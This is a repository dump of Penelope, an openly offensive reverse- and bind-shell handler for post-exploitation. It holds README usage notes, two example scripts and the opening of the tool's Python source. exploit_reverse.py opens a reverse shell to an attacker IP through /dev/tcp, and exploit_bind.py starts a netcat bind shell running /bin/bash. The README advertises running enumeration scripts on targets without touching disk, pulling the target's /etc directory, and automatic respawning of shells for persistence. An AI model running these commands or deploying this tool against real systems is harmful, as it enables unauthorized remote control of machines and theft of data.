56 |
57 | ## Usage
58 | ### Sample Typical Usage
59 | ```
60 | penelope # Listening for reverse shells on 0.0.0.0:4444
61 | penelope -a # Listening for reverse shells on 0.0.0.0:4444 and show reverse shell payloads based on the current Listeners
62 | penelope 5555 # Listening for reverse shells on 0.0.0.0:5555
63 | penelope 5555 -i eth0 # Listening for reverse shells on eth0:5555
64 | penelope 1111 2222 3333 # Listening for reverse shells on 0.0.0.0:1111, 0.0.0.0:2222, 0.0.0.0:3333
65 | penelope -c target 3333 # Connect to a bind shell on target:3333
66 | ```
67 |
68 | ### Demonstrating Random Usage
69 |
70 | As shown in the below video, within only a few seconds we have easily:
71 | 1. A fully functional auto-resizable PTY shell while logging every interaction with the target
72 | 2. Execute the lastest version of Linpeas on the target without touching the disk and get the output on a local file in realtime
73 | 3. One more PTY shell in another tab
74 | 4. Uploaded the latest versions of LinPEAS and linux-smart-enumeration
75 | 5. Uploaded a local folder with custom scripts
76 | 6. Uploaded an exploit-db exploit directly from URL
77 | 7. Downloaded and opened locally a remote file
78 | 8. Downloaded the remote /etc directory
79 | 9. For every shell that may be killed for some reason, automatically a new one is spawned. This gives us a kind of persistence with the target
80 |
81 | https://github.com/brightio/penelope/assets/65655412/7295da32-28e2-4c92-971f-09423eeff178
82 |
83 | ### Main Menu Commands
84 | Some Notes:
85 | - By default you need to press `F12` to detach the PTY shell and go to the Main Menu. If the upgrade was not possible the you ended up with a basic shell, you can detach it with `Ctrl+C`. This also prevents the accidental killing of the shell.
86 | - The Main Menu supports TAB completion and also short commands. For example instead of `interact 1` you can just type `i 1`.
87 |
88 | 
89 |
90 | ### Command Line Options
91 | ```
92 | positional arguments:
93 | ports Ports to listen/connect to, depending on -i/-c options. Default: 4444
94 |
95 | Reverse or Bind shell?:
96 | -i , --interface Interface or IP address to listen on. Default: 0.0.0.0
97 | -c , --connect Bind shell Host
98 |
99 | Hints:
100 | -a, --payloads Show sample payloads for reverse shell based on the registered Listeners
101 | -l, --interfaces Show the available network interfaces
102 | -h, --help show this help message and exit
103 |
104 | Session Logging:
105 | -L, --no-log Do not create session log files
106 | -T, --no-timestamps Do not include timestamps in session logs
107 | -CT, Do not color timestamps in session logs
108 |
109 | Misc:
110 | -m , --maintain Maintain NUM total shells per target
111 | -M, --menu Just land to the Main Menu
112 | -S, --single-session Accommodate only the first created session
113 | -C, --no-attach Disable auto attaching sessions upon creation
114 | -U, --no-upgrade Do not upgrade shells
115 |
116 | File server:
117 | -s, --serve HTTP File Server mode
118 | -p , --port File Server port. Default: 8000
119 | -prefix URL prefix
120 |
121 | Debug:
122 | -N , --no-bins Simulate binary absence on target (comma separated list)
123 | -v, --version Show Penelope version
124 | -d, --debug Show debug messages
125 | -dd, --dev-mode Developer mode
126 | -cu, --check-urls Check health of hardcoded URLs
127 |
128 | ```
129 |
130 | ## Contribution
131 | Your contributions are invaluable! If you’d like to help, please report bugs, unexpected behaviors, or share new ideas. You can also submit pull requests but avoid making commits from IDEs that enforce PEP8 and unintentionally restructure the entire codebase.
132 |
133 | ## TODO
134 |
135 | ### Features
136 | * remote port forwarding
137 | * socks & http proxy
138 | * persistence modules
139 | * team server
140 | * currently spawn/script/portfwd commands are supported only on Unix shells. Those need to be implemented for Windows shells too.
141 | * an option switch for disable all logging, not only sessions.
142 | * main menu autocompletion for short commands
143 | * download/upload autocompletion
144 | * IPv6 support
145 | * encryption
146 | * UDP support
147 |
148 | ### Known Issues
149 | * Main menu: Ctrl-C on main menu has not the expected behavior yet.
150 | * Session logging: when executing commands on the target that feature alternate buffers like nano and they are abnormally terminated, then when 'catting' the logfile it seems corrupted. However the data are still there. Also for example when resetting the remote terminal, these escape sequences are reflected in the logs. I will need to filter specific escape sequences so as to ensure that when 'catting' the logfile, a smooth log is presented.
151 |
152 | ## Trivia
153 | Penelope was the wife of Odysseus and she is known for her fidelity for him by waiting years. Since a characteristic of reverse shell handlers is waiting, this tool is named after her.
154 |
155 | ## Thanks to the early birds
156 | * [Cristian Grigoriu - @crgr](https://github.com/crgr) for inspiring me to automate the PTY upgrade process. This is how this project was born.
157 | * [Paul Taylor - @bao7uo](https://github.com/bao7uo) for the idea to support bind shells.
158 | * [Longlone - @WAY29](https://github.com/WAY29) for indicating the need for compatibility with previous versions of Python (3.6).
159 | * [Carlos Polop - @carlospolop](https://github.com/carlospolop) for the idea to spawn shells on listeners on other systems.
160 | * [@darrenmartyn](https://github.com/darrenmartyn) for indicating an alternative method to upgrade the shell to PTY using the script command.
161 | * [@robertstrom](https://github.com/robertstrom), [@terryf82](https://github.com/terryf82), [@RamadhanAmizudin](https://github.com/RamadhanAmizudin), [@furkan-enes-polatoglu](https://github.com/furkan-enes-polatoglu), [@DerekFost](https://github.com/DerekFost), [@Mag1cByt3s](https://github.com/Mag1cByt3s), [@nightingalephillip](https://github.com/nightingalephillip), [@grisuno](https://github.com/grisuno), [@thomas-br](https://github.com/thomas-br), [@joshoram80](https://github.com/joshoram80), [@TheAalCh3m1st](https://github.com/TheAalCh3m1st), [@r3pek](https://github.com/r3pek), [@six-two](https://github.com/six-two) for bug reporting.
162 |
--------------------------------------------------------------------------------
/extras/exploit_bind.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/python3
2 |
3 | SSH_USER = 'root'
4 | TARGET = "192.168.0.101"
5 | PORT = 10000
6 |
7 | # RCE simulation
8 | import subprocess
9 | subprocess.call(['ssh',f'{SSH_USER}@{TARGET}','-f',f"nc -klp {PORT} -e /bin/bash"],stdin=subprocess.DEVNULL,stdout=subprocess.DEVNULL,stderr=subprocess.DEVNULL)
10 |
11 | # Penelope
12 | import penelope # Importing penelope
13 | penelope.options.silent = True # Optionally
14 | penelope.options.single_session = True # Optionally
15 | penelope.Connect(TARGET, PORT) # Connect to bind shell
16 |
--------------------------------------------------------------------------------
/extras/exploit_reverse.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/python3
2 |
3 | # Penelope
4 | import penelope # Importing penelope
5 | penelope.options.silent = True # Optionally
6 | penelope.options.single_session = True # Optionally
7 | penelope.Listener() # Starting the listener
8 |
9 | # RCE simulation
10 | import subprocess
11 | TARGET_IP = '192.168.0.101'
12 | MY_IP = '192.168.0.2'
13 | SSH_USER = 'root'
14 | subprocess.Popen(['ssh',f'{SSH_USER}@{TARGET_IP}',f"bash -c 'sh >& /dev/tcp/{MY_IP}/4444 0>&1'"],stdin=subprocess.DEVNULL,stdout=subprocess.DEVNULL,stderr=subprocess.DEVNULL)
15 |
--------------------------------------------------------------------------------
/extras/peneloperc:
--------------------------------------------------------------------------------
1 | options.default_listener_port = 9999
2 | options.escape = {'sequence': b'\x10', 'key': 'Control-P'}
3 |
4 | class my_custom_module(Module):
5 | def run(sesson):
6 | """
7 | This is my custom module
8 | """
9 | session.exec("ls")
10 |
--------------------------------------------------------------------------------
/extras/tty_upgrade.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 |
3 | WAIT=5
4 |
5 | echo "Go to the UNIX shell that needs upgrade"
6 |
7 | while [ $WAIT -gt 0 ]
8 | do
9 | echo Seconds left: "$WAIT"
10 | sleep 1
11 | WAIT=`expr $WAIT - 1`
12 | done
13 |
14 | ROWS=`tput lines`
15 | COLUMNS=`tput cols`
16 |
17 | xdotool type $'python3 -c "import pty; pty.spawn(\'/bin/bash\')" || python -c "import pty; pty.spawn(\'/bin/bash\')"'
18 | xdotool key Return
19 | xdotool type 'export TERM=xterm-256color'
20 | xdotool key Return
21 | xdotool type 'export SHELL=/bin/bash'
22 | xdotool key Return
23 | xdotool key ctrl+z
24 | xdotool type 'stty raw -echo;fg'
25 | xdotool key Return
26 | xdotool type "stty rows $ROWS columns $COLUMNS"
27 | xdotool key Return
28 | xdotool type reset
29 | xdotool key Return
30 |
31 |
--------------------------------------------------------------------------------
/penelope.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python3
2 |
3 | # Copyright © 2021 - 2025 @brightio
4 |
5 | # This program is free software: you can redistribute it and/or modify
6 | # it under the terms of the GNU General Public License as published by
7 | # the Free Software Foundation, either version 3 of the License, or
8 | # (at your option) any later version.
9 |
10 | # This program is distributed in the hope that it will be useful,
11 | # but WITHOUT ANY WARRANTY; without even the implied warranty of
12 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
13 | # GNU General Public License for more details.
14 |
15 | # You should have received a copy of the GNU General Public License
16 | # along with this program. If not, see .
17 |
18 | __program__= "penelope"
19 | __version__ = "0.13.9"
20 |
21 | import os
22 | import io
23 | import re
24 | import sys
25 | import tty
26 | import ssl
27 | import time
28 | import shlex
29 | import queue
30 | import struct
31 | import shutil
32 | import socket
33 | import signal
34 | import base64
35 | import termios
36 | import tarfile
37 | import logging
38 | import zipfile
39 | import inspect
40 | import warnings
41 | import platform
42 | import threading
43 | import subprocess
44 | import socketserver
45 |
46 | from math import ceil
47 | from glob import glob
48 | from json import dumps
49 | from code import interact
50 | from zlib import compress
51 | from errno import EADDRINUSE, EADDRNOTAVAIL
52 | from select import select
53 | from pathlib import Path
54 | from argparse import ArgumentParser
55 | from datetime import datetime
56 | from textwrap import indent, dedent
57 | from binascii import Error as binascii_error
58 | from functools import wraps
59 | from collections import deque, defaultdict
60 | from http.server import SimpleHTTPRequestHandler
61 | from urllib.parse import unquote
62 | from urllib.error import HTTPError, URLError
63 | from urllib.request import Request, urlopen
64 |
65 | ################################## PYTHON MISSING BATTERIES ####################################
66 | from random import choice
67 | from string import ascii_letters
68 | rand = lambda _len: ''.join(choice(ascii_letters) for i in range(_len))
69 | caller = lambda: inspect.stack()[2].function
70 | bdebug = lambda file, data: open("/tmp/" + file, "a").write(repr(data) + "\n")
71 | chunks = lambda string, length: (string[0 + i:length + i] for i in range(0, len(string), length))
72 | pathlink = lambda path: f'\x1b]8;;file://{path.parents[0]}\x07{path.parents[0]}{os.path.sep}\x1b]8;;\x07\x1b]8;;file://{path}\x07{path.name}\x1b]8;;\x07'
73 | normalize_path = lambda path: os.path.normpath(os.path.expandvars(os.path.expanduser(path)))
74 |
75 | def Open(item, terminal=False):
76 | if myOS != 'Darwin' and not DISPLAY:
77 | logger.error("No available $DISPLAY")
78 | return False
79 |
80 | if not terminal:
81 | program = 'xdg-open' if myOS != 'Darwin' else 'open'
82 | args = [item]
83 | else:
84 | if not TERMINAL:
85 | logger.error("No available terminal emulator")
86 | return False
87 |
88 | if myOS != 'Darwin':
89 | program = TERMINAL
90 | _switch = '-e'
91 | if program in ('gnome-terminal', 'mate-terminal'):
92 | _switch = '--'
93 | elif program == 'terminator':
94 | _switch = '-x'
95 | elif program == 'xfce4-terminal':
96 | _switch = '--command='
97 | args = [_switch, *shlex.split(item)]
98 | else:
99 | program = 'osascript'
100 | args = ['-e', f'tell app "Terminal" to do script "{item}"']
101 |
102 | if not shutil.which(program):
103 | logger.error(f"Cannot open window: '{program}' binary does not exist")
104 | return False
105 |
106 | process = subprocess.Popen(
107 | (program, *args),
108 | stdin=subprocess.DEVNULL,
109 | stdout=subprocess.DEVNULL,
110 | stderr=subprocess.PIPE
111 | )
112 | r, _, _ = select([process.stderr], [], [], .01)
113 | if process.stderr in r:
114 | error = os.read(process.stderr.fileno(), 1024)
115 | if error:
116 | logger.error(error.decode())
117 | return False
118 | return True
119 |
120 |
121 | class Interfaces:
122 |
123 | def __str__(self):
124 | table = Table(joinchar=' : ')
125 | table.header = [paint('Interface').MAGENTA, paint('IP Address').MAGENTA]
126 | for name, ip in self.list.items():
127 | table += [paint(name).cyan, paint(ip).yellow]
128 | return str(table)
129 |
130 | def oneLine(self):
131 | return '(' + str(self).replace('\n', '|') + ')'
132 |
133 | def translate(self, interface_name):
134 | if interface_name in self.list:
135 | return self.list[interface_name]
136 | elif interface_name in ('any', 'all'):
137 | return '0.0.0.0'
138 | else:
139 | return interface_name
140 |
141 | @staticmethod
142 | def ipa(busybox=False):
143 | interfaces = []
144 | current_interface = None
145 | params = ['ip', 'addr']
146 | if busybox:
147 | params.insert(0, 'busybox')
148 | for line in subprocess.check_output(params).decode().splitlines():
149 | interface = re.search(r"^\d+: (.+?):", line)
150 | if interface:
151 | current_interface = interface[1]
152 | continue
153 | if current_interface:
154 | ip = re.search(r"inet (\d+\.\d+\.\d+\.\d+)", line)
155 | if ip:
156 | interfaces.append((current_interface, ip[1]))
157 | current_interface = None # TODO support multiple IPs in one interface
158 | return interfaces
159 |
160 | @staticmethod
161 | def ifconfig():
162 | output = subprocess.check_output(['ifconfig']).decode()
163 | return re.findall(r'^(\w+).*?\n\s+inet (?:addr:)?(\d+\.\d+\.\d+\.\d+)', output, re.MULTILINE | re.DOTALL)
164 |
165 | @property
166 | def list(self):
167 | if shutil.which("ip"):
168 | interfaces = self.ipa()
169 |
170 | elif shutil.which("ifconfig"):
171 | interfaces = self.ifconfig()
172 |
173 | elif shutil.which("busybox"):
174 | interfaces = self.ipa(busybox=True)
175 | else:
176 | logger.error("'ip', 'ifconfig' and 'busybox' commands are not available. (Really???)")
177 | return dict()
178 |
179 | return {i[0]:i[1] for i in interfaces}
180 |
181 | @property
182 | def list_all(self):
183 | return [item for item in list(self.list.keys()) + list(self.list.values())]
184 |
185 |
186 | class Table:
187 |
188 | def __init__(self, list_of_lists=[], header=None, fillchar=" ", joinchar=" "):
189 | self.list_of_lists = list_of_lists
190 |
191 | self.joinchar = joinchar
192 |
193 | if type(fillchar) is str:
194 | self.fillchar = [fillchar]
195 | elif type(fillchar) is list:
196 | self.fillchar = fillchar
197 | # self.fillchar[0] = self.fillchar[0][0]
198 |
199 | self.data = []
200 | self.max_row_len = 0
201 | self.col_max_lens = []
202 | if header: self.header = header
203 | for row in self.list_of_lists:
204 | self += row
205 |
206 | @property
207 | def header(self):
208 | ...
209 |
210 | @header.setter
211 | def header(self, header):
212 | self.add_row(header, header=True)
213 |
214 | def __str__(self):
215 | self.fill()
216 | return "\n".join([self.joinchar.join(row) for row in self.data])
217 |
218 | def __len__(self):
219 | return len(self.data)
220 |
221 | def add_row(self, row, header=False):
222 | row_len = len(row)
223 | if row_len > self.max_row_len:
224 | self.max_row_len = row_len
225 |
226 | cur_col_len = len(self.col_max_lens)
227 | for _ in range(row_len - cur_col_len):
228 | self.col_max_lens.append(0)
229 |
230 | for _ in range(cur_col_len - row_len):
231 | row.append("")
232 |
233 | new_row = []
234 | for index, element in enumerate(row):
235 | if not isinstance(element, (str, paint)):
236 | element = str(element)
237 | elem_length = len(element)
238 | new_row.append(element)
239 | if elem_length > self.col_max_lens[index]:
240 | self.col_max_lens[index] = elem_length
241 |
242 | if header:
243 | self.data.insert(0, new_row)
244 | else:
245 | self.data.append(new_row)
246 |
247 | def __iadd__(self, row):
248 | self.add_row(row)
249 | return self
250 |
251 | def fill(self):
252 | for row in self.data:
253 | for index, element in enumerate(row):
254 | fillchar = ' '
255 | if index in [*self.fillchar][1:]:
256 | fillchar = self.fillchar[0]
257 | row[index] = element + fillchar * (self.col_max_lens[index] - len(element))
258 |
259 |
260 | class Size:
261 | units = ("", "K", "M", "G", "T", "P", "E", "Z", "Y")
262 | def __init__(self, _bytes):
263 | self.bytes = _bytes
264 |
265 | def __str__(self):
266 | index = 0
267 | new_size = self.bytes
268 | while new_size >= 1024 and index < len(__class__.units) - 1:
269 | new_size /= 1024
270 | index += 1
271 | return f"{new_size:.1f} {__class__.units[index]}Bytes"
272 |
273 | @classmethod
274 | def from_str(cls, string):
275 | if string.isnumeric():
276 | _bytes = int(string)
277 | else:
278 | try:
279 | num, unit = int(string[:-1]), string[-1]
280 | _bytes = num * 1024 ** __class__.units.index(unit)
281 | except:
282 | logger.error("Invalid size specified")
283 | return # TEMP
284 | return cls(_bytes)
285 |
286 |
287 | from datetime import timedelta
288 | from threading import Thread, RLock, current_thread
289 | class PBar:
290 | pbars = []
291 |
292 | def __init__(self, end, caption="", barlen=None, queue=None, metric=None):
293 | self.end = end
294 | if type(self.end) is not int: self.end = len(self.end)
295 | self.active = True if self.end > 0 else False
296 | self.pos = 0
297 | self.percent = 0
298 | self.caption = caption
299 | self.bar = '#'
300 | self.barlen = barlen
301 | self.percent_prev = -1
302 | self.queue = queue
303 | self.metric = metric
304 | self.check_interval = 1
305 | if self.queue: self.trace_thread = Thread(target=self.trace); self.trace_thread.start(); __class__.render_lock = RLock()
306 | if self.metric: Thread(target=self.watch_speed, daemon=True).start()
307 | else: self.metric = lambda x: f"{x:,}"
308 | __class__.pbars.append(self)
309 | print("\x1b[?25l", end='', flush=True)
310 | self.render()
311 |
312 | def __bool__(self):
313 | return self.active
314 |
315 | def __enter__(self):
316 | return self
317 |
318 | def __exit__(self, exc_type, exc_value, traceback):
319 | self.terminate()
320 |
321 | def trace(self):
322 | while True:
323 | data = self.queue.get()
324 | self.queue.task_done()
325 | if isinstance(data, int): self.update(data)
326 | elif data is None: break
327 | else: self.print(data)
328 |
329 | def watch_speed(self):
330 | self.pos_prev = 0
331 | self.elapsed = 0
332 | while self:
333 | time.sleep(self.check_interval)
334 | self.elapsed += self.check_interval
335 | self.speed = self.pos - self.pos_prev
336 | self.pos_prev = self.pos
337 | self.speed_avg = self.pos / self.elapsed
338 | if self.speed_avg: self.eta = int(self.end / self.speed_avg) - self.elapsed
339 | if self: self.render()
340 |
341 | def update(self, step=1):
342 | if not self: return False
343 | self.pos += step
344 | if self.pos >= self.end: self.pos = self.end
345 | self.percent = int(self.pos * 100 / self.end)
346 | if self.pos >= self.end: self.terminate()
347 | if self.percent > self.percent_prev: self.render()
348 |
349 | def render_one(self):
350 | self.percent_prev = self.percent
351 | left = f"{self.caption}["
352 | elapsed = "" if not hasattr(self, 'elapsed') else f" | Elapsed {timedelta(seconds=self.elapsed)}"
353 | speed = "" if not hasattr(self, 'speed') else f" | {self.metric(self.speed)}/s"
354 | eta = "" if not hasattr(self, 'eta') else f" | ETA {timedelta(seconds=self.eta)}"
355 | right = f"] {str(self.percent).rjust(3)}% ({self.metric(self.pos)}/{self.metric(self.end)}){speed}{elapsed}{eta}"
356 | bar_space = self.barlen or os.get_terminal_size().columns - len(left) - len(right)
357 | bars = int(self.percent * bar_space / 100) * self.bar
358 | print(f'\x1b[2K{left}{bars.ljust(bar_space, ".")}{right}\n', end='', flush=True)
359 |
360 | def render(self):
361 | if hasattr(__class__, 'render_lock'): __class__.render_lock.acquire()
362 | for pbar in __class__.pbars: pbar.render_one()
363 | print(f"\x1b[{len(__class__.pbars)}A", end='', flush=True)
364 | if hasattr(__class__, 'render_lock'): __class__.render_lock.release()
365 |
366 | def print(self, data):
367 | if hasattr(__class__, 'render_lock'): __class__.render_lock.acquire()
368 | print(f"\x1b[2K{data}", flush=True)
369 | self.render()
370 | if hasattr(__class__, 'render_lock'): __class__.render_lock.release()
371 |
372 | def terminate(self):
373 | if self.queue and current_thread() != self.trace_thread: self.queue.join(); self.queue.put(None)
374 | if hasattr(__class__, 'render_lock'): __class__.render_lock.acquire()
375 | if not self: return
376 | self.active = False
377 | if hasattr(self, 'eta'): del self.eta
378 | if not any(__class__.pbars):
379 | self.render()
380 | print("\x1b[?25h" + '\n' * len(__class__.pbars), end='', flush=True)
381 | __class__.pbars.clear()
382 | if hasattr(__class__, 'render_lock'): __class__.render_lock.release()
383 |
384 |
385 | class paint:
386 | _codes = {'RESET':0, 'BRIGHT':1, 'DIM':2, 'UNDERLINE':4, 'BLINK':5, 'NORMAL':22}
387 | _colors = {'black':0, 'red':1, 'green':2, 'yellow':3, 'blue':4, 'magenta':5, 'cyan':6, 'white':231, 'orange':136}
388 | _escape = lambda codes: f"\001\x1b[{codes}m\002"
389 |
390 | def __init__(self, text=None, colors=None):
391 | self.text = str(text) if text is not None else None
392 | self.colors = colors if colors is not None else []
393 |
394 | def __str__(self):
395 | if self.colors:
396 | content = self.text + __class__._escape(__class__._codes['RESET']) if self.text is not None else ''
397 | return __class__._escape(';'.join(self.colors)) + content
398 | return self.text
399 |
400 | def __len__(self):
401 | return len(self.text)
402 |
403 | def __add__(self, text):
404 | return str(self) + str(text)
405 |
406 | def __mul__(self, num):
407 | return __class__(self.text * num, self.colors)
408 |
409 | def __getattr__(self, attr):
410 | self.colors.clear()
411 | for color in attr.split('_'):
412 | if color in __class__._codes:
413 | self.colors.append(str(__class__._codes[color]))
414 | else:
415 | prefix = "3" if color in __class__._colors else "4"
416 | self.colors.append(prefix + "8;5;" + str(__class__._colors[color.lower()]))
417 | return self
418 |
419 |
420 | class CustomFormatter(logging.Formatter):
421 | def __init__(self, *args, **kwargs):
422 | super().__init__(*args, **kwargs)
423 | self.templates = {
424 | logging.CRITICAL: {'color':"RED", 'prefix':"[!!!]"},
425 | logging.ERROR: {'color':"red", 'prefix':"[-]"},
426 | logging.WARNING: {'color':"yellow", 'prefix':"[!]"},
427 | logging.TRACE: {'color':"cyan", 'prefix':"[•]"},
428 | logging.INFO: {'color':"green", 'prefix':"[+]"},
429 | logging.DEBUG: {'color':"magenta", 'prefix':"[DEBUG]"}
430 | }
431 |
432 | def format(self, record):
433 | template = self.templates[record.levelno]
434 |
435 | thread = ""
436 | if record.levelno is logging.DEBUG or options.debug:
437 | thread = paint(" ") + paint(threading.current_thread().name).white_CYAN
438 |
439 | prefix = "\x1b[2K\r"
440 | suffix = "\r\n"
441 |
442 | if core.wait_input:
443 | suffix += bytes(core.output_line_buffer).decode() + readline.get_line_buffer()
444 |
445 | elif core.attached_session:
446 | suffix += bytes(core.output_line_buffer).decode()
447 |
448 | text = f"{template['prefix']}{thread} {logging.Formatter.format(self, record)}"
449 | return f"{prefix}{getattr(paint(text), template['color'])}{suffix}"
450 |
451 |
452 | class LineBuffer:
453 | def __init__(self, length):
454 | self.len = length
455 | self.lines = deque(maxlen=self.len)
456 |
457 | def __lshift__(self, data):
458 | if isinstance(data, str):
459 | data = data.encode()
460 | if self.lines and not self.lines[-1].endswith(b'\n'):
461 | current_partial = self.lines.pop()
462 | else:
463 | current_partial = b''
464 | self.lines.extend((current_partial + data).split(b'\n'))
465 | return self
466 |
467 | def __bytes__(self):
468 | return b'\n'.join(self.lines)
469 |
470 | def stdout(data, record=True):
471 | os.write(sys.stdout.fileno(), data)
472 | if record:
473 | core.output_line_buffer << data
474 |
475 | def ask(text):
476 | try:
477 | return input(f"{paint(f'[?] {text}').yellow}")
478 |
479 | except EOFError:
480 | print()
481 | return ask(text)
482 |
483 | except KeyboardInterrupt:
484 | print("^C")
485 | return ''
486 |
487 | def my_input(text="", histfile=None, histlen=None, completer=lambda text, state: None, completer_delims=None):
488 | if threading.current_thread().name == 'MainThread':
489 | signal.signal(signal.SIGINT, keyboard_interrupt)
490 |
491 | if readline:
492 | readline.set_completer(completer)
493 | readline.set_completer_delims(completer_delims or default_readline_delims)
494 | readline.clear_history()
495 | if histfile:
496 | try:
497 | readline.read_history_file(histfile)
498 | except Exception as e:
499 | cmdlogger.debug(f"Error loading history file: {e}")
500 | #readline.set_auto_history(True)
501 |
502 | core.output_line_buffer << b"\n" + text.encode()
503 | core.wait_input = True
504 | response = original_input(text)
505 | core.wait_input = False
506 |
507 | if readline:
508 | #readline.set_completer(None)
509 | #readline.set_completer_delims(default_readline_delims)
510 | if histfile:
511 | try:
512 | readline.set_history_length(options.histlength)
513 | #readline.add_history(response)
514 | readline.write_history_file(histfile)
515 | except Exception as e:
516 | cmdlogger.debug(f"Error writing to history file: {e}")
517 | #readline.set_auto_history(False)
518 |
519 | return response
520 |
521 | class BetterCMD:
522 | def __init__(self, prompt=None, banner=None, histfile=None, histlen=None):
523 | self.prompt = prompt
524 | self.banner = banner
525 | self.histfile = histfile
526 | self.histlen = histlen
527 | self.cmdqueue = []
528 | self.lastcmd = ''
529 | self.active = threading.Event()
530 | self.stop = False
531 |
532 | def show(self):
533 | print()
534 | self.active.set()
535 |
536 | def start(self):
537 | self.preloop()
538 | if self.banner:
539 | print(self.banner)
540 |
541 | stop = None
542 | while not self.stop:
543 | try:
544 | self.active.wait()
545 | if self.cmdqueue:
546 | line = self.cmdqueue.pop(0)
547 | else:
548 | line = input(self.prompt, self.histfile, self.histlen, self.complete, " \t\n\"'><=;|&(:")
549 |
550 | signal.signal(signal.SIGINT, lambda num, stack: self.interrupt())
551 | line = self.precmd(line)
552 | stop = self.onecmd(line)
553 | stop = self.postcmd(stop, line)
554 | if stop:
555 | self.active.clear()
556 | except EOFError:
557 | stop = self.onecmd('EOF')
558 | except KeyboardInterrupt:
559 | print("^C")
560 | self.interrupt()
561 | except Exception:
562 | custom_excepthook(*sys.exc_info())
563 | self.postloop()
564 |
565 | def onecmd(self, line):
566 | cmd, arg, line = self.parseline(line)
567 | if cmd:
568 | try:
569 | func = getattr(self, 'do_' + cmd)
570 | self.lastcmd = line
571 | except AttributeError:
572 | return self.default(line)
573 | return func(arg)
574 |
575 | def default(self, line):
576 | cmdlogger.error(f"Invalid command")
577 |
578 | def interrupt(self):
579 | pass
580 |
581 | def parseline(self, line):
582 | line = line.lstrip()
583 | if not line:
584 | return None, None, line
585 | elif line[0] == '!':
586 | index = line[1:].strip()
587 | hist_len = readline.get_current_history_length()
588 |
589 | if not index.isnumeric() or not (0 < int(index) < hist_len):
590 | cmdlogger.error("Invalid command number")
591 | readline.remove_history_item(hist_len - 1)
592 | return None, None, line
593 |
594 | line = readline.get_history_item(int(index))
595 | readline.replace_history_item(hist_len - 1, line)
596 | return self.parseline(line)
597 |
598 | else:
599 | parts = line.split(' ', 1)
600 | if len(parts) == 1:
601 | return parts[0], None, line
602 | elif len(parts) == 2:
603 | return parts[0], parts[1], line
604 |
605 | def precmd(self, line):
606 | return line
607 |
608 | def postcmd(self, stop, line):
609 | return stop
610 |
611 | def preloop(self):
612 | pass
613 |
614 | def postloop(self):
615 | pass
616 |
617 | def do_reset(self, line):
618 | """
619 |
620 | Reset the local terminal
621 | """
622 | if shutil.which("reset"):
623 | os.system("reset")
624 | else:
625 | cmdlogger.error("'reset' command doesn't exist on the system")
626 |
627 | def do_exit(self, line):
628 | """
629 |
630 | Exit cmd
631 | """
632 | self.stop = True
633 | self.active.clear()
634 |
635 | def do_history(self, line):
636 | """
637 |
638 | Show Main Menu history
639 | """
640 | if readline:
641 | hist_len = readline.get_current_history_length()
642 | max_digits = len(str(hist_len))
643 | for i in range(1, hist_len + 1):
644 | print(f" {i:>{max_digits}} {readline.get_history_item(i)}")
645 | else:
646 | cmdlogger.error("Python is not compiled with readline support")
647 |
648 | def do_DEBUG(self, line):
649 | """
650 |
651 | Open debug console
652 | """
653 | import rlcompleter
654 |
655 | if readline:
656 | readline.clear_history()
657 | try:
658 | readline.read_history_file(options.debug_histfile)
659 | except Exception as e:
660 | cmdlogger.debug(f"Error loading history file: {e}")
661 |
662 | interact(banner=paint(
663 | "===> Entering debugging console...").CYAN, local=globals(),
664 | exitmsg=paint("<=== Leaving debugging console..."
665 | ).CYAN)
666 |
667 | if readline:
668 | readline.set_history_length(options.histlength)
669 | try:
670 | readline.write_history_file(options.debug_histfile)
671 | except Exception as e:
672 | cmdlogger.debug(f"Error writing to history file: {e}")
673 |
674 | def completedefault(self, *ignored):
675 | return []
676 |
677 | def completenames(self, text, *ignored):
678 | dotext = 'do_' + text
679 | return [a[3:] for a in dir(self.__class__) if a.startswith(dotext)]
680 |
681 | def complete(self, text, state):
682 | if state == 0:
683 | origline = readline.get_line_buffer()
684 | line = origline.lstrip()
685 | stripped = len(origline) - len(line)
686 | begidx = readline.get_begidx() - stripped
687 | endidx = readline.get_endidx() - stripped
688 | if begidx > 0:
689 | cmd, args, foo = self.parseline(line)
690 | if cmd == '':
691 | compfunc = self.completedefault
692 | else:
693 | try:
694 | compfunc = getattr(self, 'complete_' + cmd)
695 | except AttributeError:
696 | compfunc = self.completedefault
697 | else:
698 | compfunc = self.completenames
699 | self.completion_matches = compfunc(text, line, begidx, endidx)
700 | try:
701 | return self.completion_matches[state]
702 | except IndexError:
703 | return None
704 | @staticmethod
705 | def file_completer(text):
706 | matches = glob(text + '*')
707 | matches = [m + '/' if os.path.isdir(m) else m for m in matches]
708 | #matches = [f"'{m}'" if ' ' in m else m for m in matches]
709 | return matches
710 |
711 | ##########################################################################################################
712 |
713 | class MainMenu(BetterCMD):
714 |
715 | def __init__(self, *args, **kwargs):
716 | super().__init__(*args, **kwargs)
717 | self.set_id(None)
718 | self.commands = {
719 | "Session Operations":['run', 'upload', 'download', 'open', 'maintain', 'spawn', 'upgrade', 'exec', 'script', 'portfwd'],
720 | "Session Management":['sessions', 'use', 'interact', 'kill', 'dir|.'],
721 | "Shell Management" :['listeners', 'payloads', 'connect', 'Interfaces'],
722 | "Miscellaneous" :['help', 'modules', 'history', 'reset', 'reload', 'SET', 'DEBUG', 'exit|quit|q|Ctrl+D']
723 | }
724 |
725 | @property
726 | def raw_commands(self):
727 | return [command.split('|')[0] for command in sum(self.commands.values(), [])]
728 |
729 | @property
730 | def active_sessions(self):
731 | active_sessions = len(core.sessions)
732 | if active_sessions:
733 | s = "s" if active_sessions > 1 else ""
734 | return paint(f" ({active_sessions} active session{s})").red + paint().yellow
735 | return ""
736 |
737 | @staticmethod
738 | def get_core_id_completion(text, *extra, attr='sessions'):
739 | options = list(map(str, getattr(core, attr)))
740 | options.extend(extra)
741 | return [option for option in options if option.startswith(text)]
742 |
743 | def set_id(self, ID):
744 | self.sid = ID
745 | session_part = (
746 | f"{paint('─(').cyan_DIM}{paint('Session').green} "
747 | f"{paint('[' + str(self.sid) + ']').red}{paint(')').cyan_DIM}"
748 | ) if self.sid else ''
749 | self.prompt = (
750 | f"{paint(f'(').cyan_DIM}{paint('Penelope').magenta}{paint(f')').cyan_DIM}"
751 | f"{session_part}{paint('>').cyan_DIM} "
752 | )
753 |
754 | def session_operation(current=False, extra=[]):
755 | def inner(func):
756 | @wraps(func)
757 | def newfunc(self, ID):
758 | if current:
